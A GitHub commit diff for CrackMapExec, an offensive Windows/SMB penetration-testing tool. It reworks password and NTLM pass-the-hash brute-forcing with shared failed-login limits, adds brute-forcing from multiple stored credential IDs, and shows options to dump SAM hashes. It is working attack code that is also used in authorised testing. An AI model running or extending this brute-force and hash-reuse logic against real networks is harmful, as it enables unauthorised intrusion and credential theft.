Skip to content
This repository was archived by the owner on Dec 6, 2023. It is now read-only.

Commit 022671d

Browse files
author
byt3bl33d3r
committed
Re-implemented the --gfail-limit and --fail-limit options (Properly this
time) to limit failed login attemptes - The logic responsible for SMB bruteforcing/login has been modified to sync between the concurrent threads: this allows us to limit failed login attemptes with the two new flags. However this does cause the threads to lock so there is a minor reduction in speed but IMHO this is a good middle ground. - You can now specify multiple DB credential IDs, CME will then bruteforce using the specifspecified cred set - Version bump
1 parent 6472937 commit 022671d

File tree

5 files changed

+120
-89
lines changed

5 files changed

+120
-89
lines changed

cme/connection.py

Lines changed: 99 additions & 51 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,10 @@
88
from impacket.dcerpc.v5 import transport, scmr
99
from impacket.dcerpc.v5.rpcrt import DCERPCException
1010
from impacket.smbconnection import SessionError
11+
from gevent.coros import BoundedSemaphore
12+
13+
sem = BoundedSemaphore(1)
14+
global_failed_logins = 0
1115

1216
class Connection:
1317

@@ -24,9 +28,21 @@ def __init__(self, args, db, target, server_name, domain, conn, logger, cmeserve
2428
self.username = None
2529
self.hash = None
2630
self.admin_privs = False
31+
self.failed_logins = 0
32+
33+
if self.args.local_auth:
34+
self.domain = self.hostname
2735

2836
self.login()
2937

38+
def over_fail_limit(self):
39+
global global_failed_logins
40+
41+
if global_failed_logins == self.args.gfail_limit: return True
42+
if self.failed_logins == self.args.fail_limit: return True
43+
44+
return False
45+
3046
def check_if_admin(self):
3147
if self.args.mssql:
3248
try:
@@ -79,26 +95,27 @@ def check_if_admin(self):
7995
except DCERPCException:
8096
pass
8197

82-
def plaintext_login(self, username, password):
98+
def plaintext_login(self, domain, username, password):
8399
try:
84100
if self.args.mssql:
85-
res = self.conn.login(None, username, password, self.domain, None, True)
101+
res = self.conn.login(None, username, password, domain, None, True)
86102
if res is not True:
87103
self.conn.printReplies()
88104
return False
89105

90106
elif not self.args.mssql:
91-
self.conn.login(username, password, self.domain)
107+
self.conn.login(username, password, domain)
92108

93109
self.password = password
94110
self.username = username
111+
self.domain = domain
95112
self.check_if_admin()
96-
self.db.add_credential('plaintext', self.domain, username, password)
113+
self.db.add_credential('plaintext', domain, username, password)
97114

98115
if self.admin_privs:
99-
self.db.link_cred_to_host('plaintext', self.domain, username, password, self.host)
116+
self.db.link_cred_to_host('plaintext', domain, username, password, self.host)
100117

101-
out = u'{}\\{}:{} {}'.format(self.domain.decode('utf-8'),
118+
out = u'{}\\{}:{} {}'.format(domain.decode('utf-8'),
102119
username.decode('utf-8'),
103120
password.decode('utf-8'),
104121
highlight('(Pwn3d!)') if self.admin_privs else '')
@@ -107,14 +124,18 @@ def plaintext_login(self, username, password):
107124
return True
108125
except SessionError as e:
109126
error, desc = e.getErrorString()
110-
self.logger.error(u'{}\\{}:{} {} {}'.format(self.domain.decode('utf-8'),
127+
if error == 'STATUS_LOGON_FAILURE':
128+
global global_failed_logins; global_failed_logins += 1
129+
self.failed_logins += 1
130+
131+
self.logger.error(u'{}\\{}:{} {} {}'.format(domain.decode('utf-8'),
111132
username.decode('utf-8'),
112133
password.decode('utf-8'),
113134
error,
114135
'({})'.format(desc) if self.args.verbose else ''))
115136
return False
116137

117-
def hash_login(self, username, ntlm_hash):
138+
def hash_login(self, domain, username, ntlm_hash):
118139
lmhash = ''
119140
nthash = ''
120141

@@ -126,23 +147,24 @@ def hash_login(self, username, ntlm_hash):
126147

127148
try:
128149
if self.args.mssql:
129-
res = self.conn.login(None, username, '', self.domain, ntlm_hash, True)
150+
res = self.conn.login(None, username, '', domain, ntlm_hash, True)
130151
if res is not True:
131152
self.conn.printReplies()
132153
return False
133154

134155
elif not self.args.mssql:
135-
self.conn.login(username, '', self.domain, lmhash, nthash)
156+
self.conn.login(username, '', domain, lmhash, nthash)
136157

137158
self.hash = ntlm_hash
138159
self.username = username
160+
self.domain = domain
139161
self.check_if_admin()
140-
self.db.add_credential('hash', self.domain, username, ntlm_hash)
162+
self.db.add_credential('hash', domain, username, ntlm_hash)
141163

142164
if self.admin_privs:
143-
self.db.link_cred_to_host('hash', self.domain, username, ntlm_hash, self.host)
165+
self.db.link_cred_to_host('hash', domain, username, ntlm_hash, self.host)
144166

145-
out = u'{}\\{} {} {}'.format(self.domain.decode('utf-8'),
167+
out = u'{}\\{} {} {}'.format(domain.decode('utf-8'),
146168
username.decode('utf-8'),
147169
ntlm_hash,
148170
highlight('(Pwn3d!)') if self.admin_privs else '')
@@ -151,64 +173,90 @@ def hash_login(self, username, ntlm_hash):
151173
return True
152174
except SessionError as e:
153175
error, desc = e.getErrorString()
154-
self.logger.error(u'{}\\{} {} {} {}'.format(self.domain.decode('utf-8'),
176+
if error == 'STATUS_LOGON_FAILURE':
177+
global global_failed_logins; global_failed_logins += 1
178+
self.failed_logins += 1
179+
180+
self.logger.error(u'{}\\{} {} {} {}'.format(domain.decode('utf-8'),
155181
username.decode('utf-8'),
156182
ntlm_hash,
157183
error,
158184
'({})'.format(desc) if self.args.verbose else ''))
159185
return False
160186

161187
def login(self):
162-
if self.args.local_auth:
163-
self.domain = self.hostname
188+
for cred_id in self.args.cred_id:
189+
with sem:
190+
try:
191+
c_id, credtype, domain, username, password = self.db.get_credentials(filterTerm=cred_id)[0]
164192

165-
for user in self.args.username:
193+
if not domain: domain = self.domain
194+
if self.args.domain: domain = self.args.domain
166195

167-
if type(user) is file:
196+
if credtype == 'hash' and not self.over_fail_limit():
197+
self.hash_login(domain, username, password)
168198

169-
for usr in user:
199+
elif credtype == 'plaintext' and not self.over_fail_limit():
200+
self.plaintext_login(domain, username, password)
201+
202+
except IndexError:
203+
self.logger.error("Invalid database credential ID!")
170204

205+
for user in self.args.username:
206+
if type(user) is file:
207+
for usr in user:
171208
if self.args.hash:
172-
for ntlm_hash in self.args.hash:
173-
if type(ntlm_hash) is not file:
174-
if self.hash_login(usr.strip(), ntlm_hash): return
209+
with sem:
210+
for ntlm_hash in self.args.hash:
211+
if type(ntlm_hash) is not file:
212+
if not self.over_fail_limit():
213+
if self.hash_login(self.domain, usr.strip(), ntlm_hash): return
175214

176-
elif type(ntlm_hash) is file:
177-
for f_hash in ntlm_hash:
178-
if self.hash_login(usr.strip(), f_hash.strip()): return
179-
ntlm_hash.seek(0)
215+
elif type(ntlm_hash) is file:
216+
for f_hash in ntlm_hash:
217+
if not self.over_fail_limit():
218+
if self.hash_login(self.domain, usr.strip(), f_hash.strip()): return
219+
ntlm_hash.seek(0)
180220

181221
elif self.args.password:
182-
for password in self.args.password:
183-
if type(password) is not file:
184-
if self.plaintext_login(usr.strip(), password): return
185-
186-
elif type(password) is file:
187-
for f_pass in password:
188-
if self.plaintext_login(usr.strip(), f_pass.strip()): return
189-
password.seek(0)
222+
with sem:
223+
for password in self.args.password:
224+
if type(password) is not file:
225+
if not self.over_fail_limit():
226+
if self.plaintext_login(self.domain, usr.strip(), password): return
227+
228+
elif type(password) is file:
229+
for f_pass in password:
230+
if not self.over_fail_limit():
231+
if self.plaintext_login(self.domain, usr.strip(), f_pass.strip()): return
232+
password.seek(0)
190233

191234
elif type(user) is not file:
192-
193235
if self.args.hash:
194-
for ntlm_hash in self.args.hash:
195-
if type(ntlm_hash) is not file:
196-
if self.hash_login(user, ntlm_hash): return
197-
198-
elif type(ntlm_hash) is file:
199-
for f_hash in ntlm_hash:
200-
if self.hash_login(user, f_hash.strip()): return
201-
ntlm_hash.seek(0)
236+
with sem:
237+
for ntlm_hash in self.args.hash:
238+
if type(ntlm_hash) is not file:
239+
if not self.over_fail_limit():
240+
if self.hash_login(self.domain, user, ntlm_hash): return
241+
242+
elif type(ntlm_hash) is file:
243+
for f_hash in ntlm_hash:
244+
if not self.over_fail_limit():
245+
if self.hash_login(self.domain, user, f_hash.strip()): return
246+
ntlm_hash.seek(0)
202247

203248
elif self.args.password:
204-
for password in self.args.password:
205-
if type(password) is not file:
206-
if self.plaintext_login(user, password): return
207-
208-
elif type(password) is file:
209-
for f_pass in password:
210-
if self.plaintext_login(user, f_pass.strip()): return
211-
password.seek(0)
249+
with sem:
250+
for password in self.args.password:
251+
if type(password) is not file:
252+
if not self.over_fail_limit():
253+
if self.plaintext_login(self.domain, user, password): return
254+
255+
elif type(password) is file:
256+
for f_pass in password:
257+
if not self.over_fail_limit():
258+
if self.plaintext_login(self.domain, user, f_pass.strip()): return
259+
password.seek(0)
212260

213261
def execute(self, payload, get_output=False, methods=None):
214262

cme/connector.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -83,7 +83,7 @@ def connector(target, args, db, module, context, cmeserver):
8383
except:
8484
pass
8585

86-
if args.username and (args.password or args.hash):
86+
if (args.username and (args.password or args.hash)) or args.cred_id:
8787
conn = None
8888

8989
if args.mssql and (instances is not None and len(instances) > 0):

cme/crackmapexec.py

Lines changed: 20 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -21,8 +21,8 @@
2121

2222
def main():
2323

24-
VERSION = '3.1'
25-
CODENAME = '\'Duchess\''
24+
VERSION = '3.1.3'
25+
CODENAME = '\'Stoofvlees\''
2626

2727
parser = argparse.ArgumentParser(description="""
2828
______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______
@@ -51,11 +51,11 @@ def main():
5151

5252
formatter_class=RawTextHelpFormatter,
5353
version='{} - {}'.format(VERSION, CODENAME),
54-
epilog='I swear I had something for this...')
54+
epilog="What is it? It's a stew... But what is it? It's a stew...")
5555

5656
parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets")
57-
parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (defaults to 100)")
58-
parser.add_argument('-id', metavar="CRED_ID", type=int, dest='cred_id', help='Database credential ID to use for authentication')
57+
parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (default: 100)")
58+
parser.add_argument('-id', metavar="CRED_ID", nargs='*', default=[], type=int, dest='cred_id', help='Database credential ID(s) to use for authentication')
5959
parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='*', default=[], help="Username(s) or file(s) containing usernames")
6060
parser.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="Domain name")
6161
msgroup = parser.add_mutually_exclusive_group()
@@ -74,6 +74,9 @@ def main():
7474
parser.add_argument("--local-auth", dest='local_auth', action='store_true', help='Authenticate locally to each target')
7575
parser.add_argument("--timeout", default=20, type=int, help='Max timeout in seconds of each thread (default: 20)')
7676
parser.add_argument("--verbose", action='store_true', dest='verbose', help="Enable verbose output")
77+
fail_group = parser.add_mutually_exclusive_group()
78+
fail_group.add_argument("--gfail-limit", metavar='LIMIT', type=int, help='Max number of global failed login attemptes')
79+
fail_group.add_argument("--fail-limit", metavar='LIMIT', type=int, help='Max number of failed login attemptes per host')
7780

7881
rgroup = parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
7982
rgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems')
@@ -145,37 +148,23 @@ def main():
145148
db_connection.isolation_level = None
146149
db = CMEDatabase(db_connection)
147150

148-
if args.cred_id:
149-
try:
150-
c_id, credtype, domain, username, password = db.get_credentials(filterTerm=args.cred_id)[0]
151-
args.username = [username]
152-
153-
if not args.domain:
154-
args.domain = domain
155-
if credtype == 'hash':
156-
args.hash = [password]
157-
elif credtype == 'plaintext':
158-
args.password = [password]
159-
except IndexError:
160-
logger.error("Invalid database credential ID!")
161-
sys.exit(1)
162-
else:
151+
if args.username:
163152
for user in args.username:
164153
if os.path.exists(user):
165154
args.username.remove(user)
166155
args.username.append(open(user, 'r'))
167156

168-
if args.password:
169-
for passw in args.password:
170-
if os.path.exists(passw):
171-
args.password.remove(passw)
172-
args.password.append(open(passw, 'r'))
173-
174-
elif args.hash:
175-
for ntlm_hash in args.hash:
176-
if os.path.exists(ntlm_hash):
177-
args.hash.remove(ntlm_hash)
178-
args.hash.append(open(ntlm_hash, 'r'))
157+
if args.password:
158+
for passw in args.password:
159+
if os.path.exists(passw):
160+
args.password.remove(passw)
161+
args.password.append(open(passw, 'r'))
162+
163+
elif args.hash:
164+
for ntlm_hash in args.hash:
165+
if os.path.exists(ntlm_hash):
166+
args.hash.remove(ntlm_hash)
167+
args.hash.append(open(ntlm_hash, 'r'))
179168

180169
for target in args.target:
181170
if os.path.exists(target):

cme/enum/users.py

Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,6 @@
1919
from impacket.nt_errors import STATUS_MORE_ENTRIES
2020
from impacket.dcerpc.v5 import transport, samr
2121
from impacket.dcerpc.v5.rpcrt import DCERPCException
22-
from impacket.smb import SMB_DIALECT
2322

2423
class ListUsersException(Exception):
2524
pass
@@ -62,8 +61,6 @@ def enum(self):
6261
rpctransport.set_dport(self.__port)
6362
#rpctransport.setRemoteHost(self.__addr)
6463

65-
if hasattr(rpctransport,'preferred_dialect'):
66-
rpctransport.preferred_dialect(SMB_DIALECT)
6764
if hasattr(rpctransport, 'set_credentials'):
6865
# This method exists only for selected protocol sequences.
6966
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,

cme/execmethods/smbexec.py

Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,6 @@
22
from gevent import sleep
33
from impacket.dcerpc.v5 import transport, scmr
44
from impacket.smbconnection import *
5-
from impacket.smb import SMB_DIALECT
65
from cme.helpers import gen_random_string
76

87
class SMBEXEC:
@@ -44,8 +43,6 @@ def __init__(self, host, protocol, username = '', password = '', domain = '', ha
4443
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
4544
self.__rpctransport.set_dport(self.__port)
4645
#self.__rpctransport.setRemoteHost(self.__host)
47-
if hasattr(self.__rpctransport,'preferred_dialect'):
48-
self.__rpctransport.preferred_dialect(SMB_DIALECT)
4946
if hasattr(self.__rpctransport, 'set_credentials'):
5047
# This method exists only for selected protocol sequences.
5148
self.__rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)

0 commit comments

Comments
 (0)